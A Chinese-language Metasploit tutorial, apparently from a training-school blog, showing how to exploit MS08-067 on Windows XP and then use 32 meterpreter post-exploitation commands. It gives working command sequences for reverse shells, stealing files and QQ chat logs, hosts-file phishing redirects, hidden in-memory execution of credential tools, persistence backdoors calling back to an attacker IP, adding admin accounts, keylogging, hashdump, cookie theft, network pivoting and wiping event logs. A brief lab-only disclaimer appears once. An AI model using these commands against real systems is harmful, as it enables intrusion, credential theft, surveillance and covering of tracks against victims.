MSF—Metasploit 基礎 滲透利用ms08-067

2019年04月02日 20:07:28 作者:必火 閱讀數:3503457
網絡安全滲透測試北京實地培訓,五個月華麗蛻變,零元入學,報名聯系:15320004362(手機同微信)。全國誠招招生代理,最低2000元起
第九期開班時間:2021年3月22日

搶先領取全套VIP視頻教程

+10天免費學習名額

  已有8166人參加


視頻課程

姓名 選填

電話


  張*燕188****220722分鐘前

  王*軍186****864498分鐘前

  李*如189****445354分鐘前

>>  稍后老師聯系您發送相關視頻課程  <<



報名CTF挑戰賽,  預約名師指導

  已有 2366 人參加
姓名 選填

電話


  郭*明170****234291分鐘前

  趙*東189****289646分鐘前

  蔡*培135****589722分鐘前





   

網絡安全滲透測試群(必火安全學院):信息安全滲透測試群

護網行動日薪千元(初級中級高級)群:護網行動必火業余班級


MSF—Metasploit 基礎

# 專業術語 @ 滲透攻擊(Exploit) 滲透攻擊是指有攻擊者或滲透測試者利用一個系統、應用或服務中的安全漏洞,所進行的攻擊行為。

# 專業術語 @ 攻擊載荷(Payload) 攻擊載荷就是我們期望目標系統在本滲透攻擊之后去執行的代碼,在Metasploit 框架中可以自由地選擇、傳送和植入。

# 專業術語@ Shellcode Shellcode 是指在滲透攻擊時作為攻擊載荷運行的一組機器指令。

# 專業術語@ 監聽器(Listener) 監聽器是Metasploit 中用來等待連入網絡連接的組件。

在kali inux中啟動metasploit

msfconsole 啟動metasploit

search ms08-067(是中橫線,不是下劃線)
1,use exploit/windows/smb/ms08_067_netapi
2,set payload windows/meterpreter/reverse_tcp (任選其一)
2,set payload generic/shell_reverse_tcp               (任選其一)
3,show targets
4,set target 7(選擇window XP SP3)
5,show options
set RHOST   目標IP	set LHOST    本機IP	set LPORT     本機端口未被占用
6,exploit  

僅作滲透測試技術實驗之用,請勿針對任何未授權網絡和設備。

1、background命令

返回,把meterpreter后臺掛起

2、session命令

session 命令可以查看已經成功獲取的會話

可以使用session -i 連接到指定序號的meterpreter會話已繼續利用

3、shell命令

獲取目標主機的遠程命令行shell

如果出錯,考慮是目標主機限制了cmd.exe的訪問權,可以使用migrate注入到管理員用戶進程中再嘗試

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

4、cat命令

查看目標主機上的文檔內容

例如:cat  C:\\boot.ini 查看目標主機啟動引導信息

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

5、getwd命令

獲取系統工作的當前目錄

6、upload命令

上傳文件到目標主機,例如把后門程序setup.exe傳到目標主機system32目錄下

upload  setup.exe  C:\\windows\\system32\

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

7、download命令

把目標主機上的文件下載到我們的攻擊主機上

例如:把目標主機C盤根目錄下的boot.ini文件下載到攻擊主機的/root/目錄下

download C:\\boot.ini /root/

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

download C:\\"Program Files"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/

把目標主機上的QQ聊天記錄下載到攻擊主機的root目錄下(僅實驗用途,是否要考慮變更你QQ程序的安裝路徑了呢)

8、edit命令

調用vi編輯器,對目標主機上的文件修改

例如修改目標主機上的hosts文件,使得目標主機訪問baidu時去到準備好的釣魚網站(僅限實驗用途)

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

在目標主機上ping www.baidu.com,出來的目標IP就是我們修改的192.168.1.1了

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

9、search命令

在目標主機文件系統上查找搜索文件

例如:search  -d  c:\\  -f  *.doc

在目標主機C盤下搜索doc文檔

10、ipconfig命令

這個不多說,查看目標主機上的網絡參數

11、portfwd命令

端口轉發

例如目標主機上開啟了3389,但是只允許特定IP訪問,攻擊主機無法連接,可以使用portfwd命令把目標主機的3389端口轉發到其他端口打開

例如:portfwd  add -l  1122 -p 3389 -r  192.168.250.176

把目標主機192.168.250.176的3389端口轉發到1122端口

這是只需要連接目標的1122端口就可以打開遠程桌面了

rdesktop  -u  administrator  -p  123456  192.168.250.176:1122

12、route命令

這個也不多說,顯示目標主機上的主機路由表

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

13、getuid

查看meterpreter注入到目標主機的進程所屬用戶

14、sysinfo

查看目標主機系統信息

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

15、ps命令

查看目標主機上運行的進程信息,結合migrate使用

16、migrate

將meterpreter會話移植到另一個進程

例如反彈的meterpreter會話是對方打開了一個你預置特殊代碼的word文檔而產生的,那么對方一旦關閉掉該word文檔,我們獲取到的meterpreter會話就會隨之關閉,所以把會話進程注入到explorer.exe是一個好方法

可以先用ps命令看一下目標主機的explorer.exe進程的pid

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

是1668

然后我們用migrate 1668 把meterpreter會話注入進去

17、execute命令

在目標主機上運行某個程序

例如我們目前注入進程到explorer.exe后,運行用戶為超級管理員administrator

我們運行一下目標主機上的記事本程序

execute  -f  notepad.exe

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

目標主機上立馬彈出來一個記事本程序,如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

這樣太明顯,如果希望隱藏后臺執行,加參數-H

execute  -H -f  notepad.exe

此時目標主機桌面沒反應,但我們在meterpreter會話上使用ps命令看到了

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

再看一個,我們運行目標主機上的cmd.exe程序,并以隱藏的方式直接交互到我們的meterpreter會話上

命令:

execute  -H -i -f  cmd.exe

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

這達到的效果就跟使用shell命令一樣了

再來一個,在目標主機內存中直接執行我們攻擊主機上的攻擊程序,比如wce.exe,又比如木馬等,這樣可以避免攻擊程序存儲到目標主機硬盤上被發現或被查殺。

execute  -H -m -d notepad.exe -f  wce.exe -a "-o  wce.txt"

-d 在目標主機執行時顯示的進程名稱(用以偽裝)

-m 直接從內存中執行

 "-o  wce.txt"是wce.exe的運行參數

 18、getpid

獲取meterpreter會話在目標主機上注入進程的進程號

19、shutdown命令

關閉目標主機

20、后滲透模塊post/windows/gather/forensics/enum_drives調用

在獲取meterpreter會話session后,調用post/windows/gather/forensics/enum_drives,可獲取目標主機存儲器信息:

命令,在msfconsole下:

use post/windows/gather/forensics/enum_drives

set SESSION 1

exploit

效果如圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

或直接在meterpreter會話中以命令run  post/windows/gather/forensics/enum_drives調用

21、調用post/windows/gather/checkvm后滲透模塊,確定目標主機是否是一臺虛擬機

命令:

run  post/windows/gather/checkvm

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

22、persistence后滲透模塊向目標主機植入后門程序

命令:

run  persistence -X  -i  5  -p 4444  -r 172.17.11.18 

-X 在目標主機上開機自啟動

-i  不斷嘗試反向連接的時間間隔

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

執行過程:

創建攻擊載荷->攻擊載荷植入到目標主機c:\windows\temp目錄下,是一個.vbs的腳本->寫目標主機注冊表鍵值實現開機自動運行。

下圖,在攻擊主機上監聽4444端口,等待反彈會話成功

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

下圖,看目標主機注冊表Run鍵值果然被寫入了一個pDTizIlNK的鍵值,執行后門vbs腳本

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

23、調用metsvc后滲透攻擊模塊

命令:run  metsvc

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

執行過程:在目標主機上創建一個監聽31337端口的服務->在目標主機c:\windows\temp\下創建一個存放后門服務有關文件程序的目錄,并上傳metsrv.x86.dll、metsvc-server.exe、metsvc.exe三個文件到該目錄下->開啟服務

成功后:在目標主機上看到31337號端口已開,且服務多了一個meterpreter(如下圖)

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

24、調用getgui后滲透攻擊模塊

作用:開啟目標主機遠程桌面,并可添加管理員組賬號

命令:

run  getgui  -e

開啟目標主機遠程桌面

如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

開啟目標主機的遠程桌面服務后,可以添加賬號以便利用

命令:

run  getgui  -u  example_username  -p  example_password

如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

執行成功,可以使用kali的rdesktop命令使用遠程桌面連接目標主機

rdesktop  -u  kali  -p  meterpreter  192.168.250.176:3389

25、提權命令getsystem

使用getsystem提升當前進城執行賬戶微system用戶,拿到系統最高權限

命令:getsystem

26、鍵盤記錄器功能keyscan

命令:

keyscan_start   開啟記錄目標主機的鍵盤輸入

keyscan_dump   輸出截獲到的目標鍵盤輸入字符信息

keyscan_stop     停止鍵盤記錄

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

箭頭所指為截獲到目標主機的鍵盤輸入字符

27、系統賬號密碼獲取

命令:hashdump

在獲得system權限的情況下,使用hashdump命令可以到處目標主機的SAM文件,獲取目標主機的賬號密碼hash信息,剩下的可以用爆破軟件算出明文密碼

效果如圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

28、調用post/windows/gather/enum_applications模塊獲取目標主機上的軟件安裝信息

命令:run  post/windows/gather/enum_applications

效果如圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

29、調用post/windows/gather/dumplinks獲取目標主機上最近訪問過的文檔、鏈接信息

命令:run  post/windows/gather/dumplinks

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

30、調用post/windows/gather/enum_ie后滲透模塊,讀取目標主機IE瀏覽器cookies等緩存信息,嗅探目標主機登錄過的各類賬號密碼

命令:run  post/windows/gather/enum_ie

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

獲取到的目標主機上的ie瀏覽器緩存歷史記錄和cookies信息等都保存到了攻擊主機本地的/root/.msf5/loot/目錄下。

31、route命令

使用route命令可以借助meterpreter會話進一步msf滲透內網,我們已經拿下并產生meterpreter反彈會話的主機可能出于內網之中,外有一層NAT,我們無法直接向其內網中其他主機發起攻擊,則可以借助已產生的meterpreter會話作為路由跳板,攻擊內網其它主機。

可以先使用run  get_local_subnets命令查看已拿下的目標主機的內網IP段情況

命令:run  get_local_subnets

如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

其內網尚有192.168.249.0/24網段,我們無法直接訪問

下面做一條路由,下一跳為當前拿下主機的session id(目前為5),即所有對249網段的攻擊流量都通過已滲透的這臺目標主機的meterpreter會話來傳遞。

命令:route add  192.168.249.0 255.255.255.0 5

再使用route print查看一下路由表,效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結
最后我們就可以通過這條路由,以當前拿下的主機meterpreter作為路由跳板攻擊249網段中另一臺有ms08-067漏洞的主機,獲得反彈會話成功順利拿下了另一臺內網主機192.168.249.1,如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結

32、clearev命令

入侵痕跡擦除

在滲透利用過程中難免留下日志等信息痕跡,使用clearev命令擦除痕跡后再跑。

命令:clearev

效果如下圖:

[8.15]meterpreter會話滲透利用常用的32個命令歸納小結